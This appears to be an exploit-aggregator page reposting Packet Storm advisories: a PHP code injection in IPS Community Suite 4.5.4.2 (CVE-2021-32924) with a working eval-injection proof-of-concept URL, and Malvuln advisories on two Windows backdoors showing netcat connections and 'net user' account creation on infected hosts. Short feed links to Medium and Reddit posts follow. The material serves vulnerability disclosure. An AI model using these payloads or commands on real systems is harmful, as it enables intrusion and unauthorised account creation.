Exploit Collector
IPS Community Suite 4.5.4.2 PHP Code Injection

https://3.bp.blogspot.com/-S3Qyj_CQLZk/WWlvO05KSCI/AAAAAAAAIM0/1UOPsv562Y4pHjCru7b9m-kScCR1bHauwCLcBGAs/s1600/h27.png
IPS Community Suite versions 4.5.4.2 and below suffer from a PHP code injection vulnerability. The vulnerability exists because the IPS\cms\modules\front\pages\_builder::previewBlock() method allows to pass arbitrary content to the IPS\_Theme::runProcessFunction() method, which will be used in a call to the eval() PHP function. This can be exploited to inject and execute arbitrary PHP code. Successful exploitation of this vulnerability requires an account with permission to manage the sidebar (such as a Moderator or Administrator) and the "cms" application to be enabled.

MD5 | 1b4fb4e5987be3d21bd6ca2f13378d32

Download
------------------------------------------------------------------------------
IPS Community Suite <=
Vulnerability
------------------------------------------------------------------------------
[-] Software Link:

https://invisioncommunity.com
[-] Affected Versions:

Version 4.5.4.2 and prior versions.
[-] Vulnerability Description:

The vulnerability exists because the
IPS\cms\modules\front\pages\_builder::previewBlock() method allows to
pass arbitrary content to the IPS\_Theme::runProcessFunction() method,
which will be used in a call to the eval() PHP function. This can be
exploited to inject and execute arbitrary PHP code. Successful
exploitation of this vulnerability requires an account with permission
to manage the sidebar (such as a Moderator or Administrator) and the
"cms" application to be enabled.
[-] Proof of Concept:

http://[host]/[ips]/index.php?app=cms&module=pages&controller=builder&do=previewBlock&block_plugin=stats&block_template_use_how=copy&block_plugin_app=core&_sending=block_content&block_content=RCE%0ACONTENT;}}phpinfo();die;/*
[-] Solution:

Apply the vendor patch or upgrade to version 4.6.0 or later.
[-] Disclosure Timeline:

[02/02/2021] - Vendor notified through HackerOne
[02/04/2021] - Asked for an update
[06/04/2021] - Vendor replies they already released a targeted patch
[13/05/2021] - CVE number assigned
[28/05/2021] - Public disclosure
[-] CVE Reference:

The Common Vulnerabilities and Exposures project (cve.mitre.org)
has assigned the name CVE-2021-32924 to this vulnerability.
[-] Credits:

Vulnerability discovered by Egidio Romano.
[-] Other References:

https://hackerone.com/reports/1092574
[-] Original Advisory:

http://karmainsecurity.com/KIS-2021-04

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.WinShell.a Code Execution

https://3.bp.blogspot.com/-SgyDIXUTMbc/WWlu_miSAcI/AAAAAAAAIKE/fKFdSswhFNIqExJ_09QJseTEI_nz_ynRACLcBGAs/s1600/h119.png
Backdoor.Win32.WinShell.a malware suffers from a code execution vulnerability.

MD5 | 3a52bb4e1482b1374154e83c7115f037

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/911a97737bd26e2a478f52e74b4fa01d.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.WinShell.a
Vulnerability: Unauthenticated Remote Command Execution
Description: WinShell listens on TCP port 1337, third-party attackers who can reach the system can execute OS commands further compromising the already infected system.
Type: PE32
MD5: 911a97737bd26e2a478f52e74b4fa01d
Vuln ID: MVID-2021-0233
Disclosure: 05/30/2021
Exploit/PoC:
nc64.exe x.x.x.x 1337
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\Victim\Desktop>whoami
whoami
desktop-3c2kqjo\victim

C:\Users\Victim\Desktop>net user hyp3rlinx "" /add
net user hyp3rlinx "" /add
The command completed successfully.

C:\Users\Victim\Desktop>net user hyp3rlinx
net user hyp3rlinx
User name hyp3rlinx
Full Name
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never

Password last set 4/30/2021 2:42:58 AM
Password expires Never
Password changeable 4/30/2021 2:42:58 AM
Password required Yes
User may change password Yes

Workstations allowed All
Logon script
User profile
Home directory
Last logon Never

Logon hours allowed All

Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

Exploit Collector
Backdoor.Win32.NerTe.772 Authentication Bypass / Code Execution

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Ubuntu OverlayFS Local Privilege Escalation

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.NetControl2.293 Code Execution

https://3.bp.blogspot.com/-D44pcoGQpVY/WWlvlv4DR7I/AAAAAAAAIRA/cd0U1aMX9aAjFzK0BP_4B5_C_6s8ROTKQCLcBGAs/s1600/h99.png
Backdoor.Win32.NetControl2.293 malware suffers from a code execution vulnerability.

MD5 | 9979d63a7651677939b99c80298affe2

Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/15ca804e4634d9586f85b1d15ebe91a0.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.NetControl2.293
Vulnerability: Unauthenticated Remote Command Execution
Description: The malware listens on TCP port 2012. Attackers who can reach infected hosts can run arbitrary OS commands using the DOSCMD command made available by the backdoor.
Type: PE32
MD5: 15ca804e4634d9586f85b1d15ebe91a0
Vuln ID: MVID-2021-0231
Disclosure: 05/29/2021

Exploit/PoC:
nc64.exe x.x.x.x 2012

1) Add accounts
DOSCMD cmd /c net user malvuln "" /add

2) Run programs
DOSCMD cmd /c calc
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Best Jailbreak Tweaks for Hackers 2021

https://cdn-images-1.medium.com/max/1280/1*ej1VB66cP82Ugihd8rmPRg@2x.jpeg
These are my all the time best tweaks for jailbreak users. Watch below video✌️

Continue reading on Medium »

Hacking on Medium
How to earn money without investment through mobile phone !!

https://www.safeclass.online/how-to-earn-money-without-investment-through-mobile/

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Writing Neovim Plugins — A Beginner Guide (Part 2)

https://cdn-images-1.medium.com/max/742/0*sI_4r61nbJw-Gje6.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Investigadores demuestran 2 nuevos trucos para modificar documentos PDF certificados.

https://cdn-images-1.medium.com/max/858/0*tT2vDP55JqiDyMFe
PUBLICADO EN 31 MAYO, 2021 POR EHACKING

Continue reading on Medium »

Hacking on Medium
Este nuevo y peligroso malware está robando las contraseñas de las personas.

https://cdn-images-1.medium.com/max/1023/0*XSOC1SJHjH80IgMu
PUBLICADO EN 31 MAYO, 2021POR EHACKING

Continue reading on Medium »

Deep Web
cafedread.com - An unofficial archive of Dread's the most popular subdreads

submitted by /u/immabookkryptkeeper
[link] [comments]

Deep Web
How To Create Transparent Drop Dwon Menu With HTML & CSS || CSS Website Tutorials

https://external-preview.redd.it/qkXsWnq_ou3fG3flkmzAGS_W1EhzLNrNEBtB3c14gjc.jpg?width=320&crop=smart&auto=webp&s=611b60d2a52274dd577b4c82a4279404420fc4b2 submitted by /u/TaylorM_Clark
[link] [comments]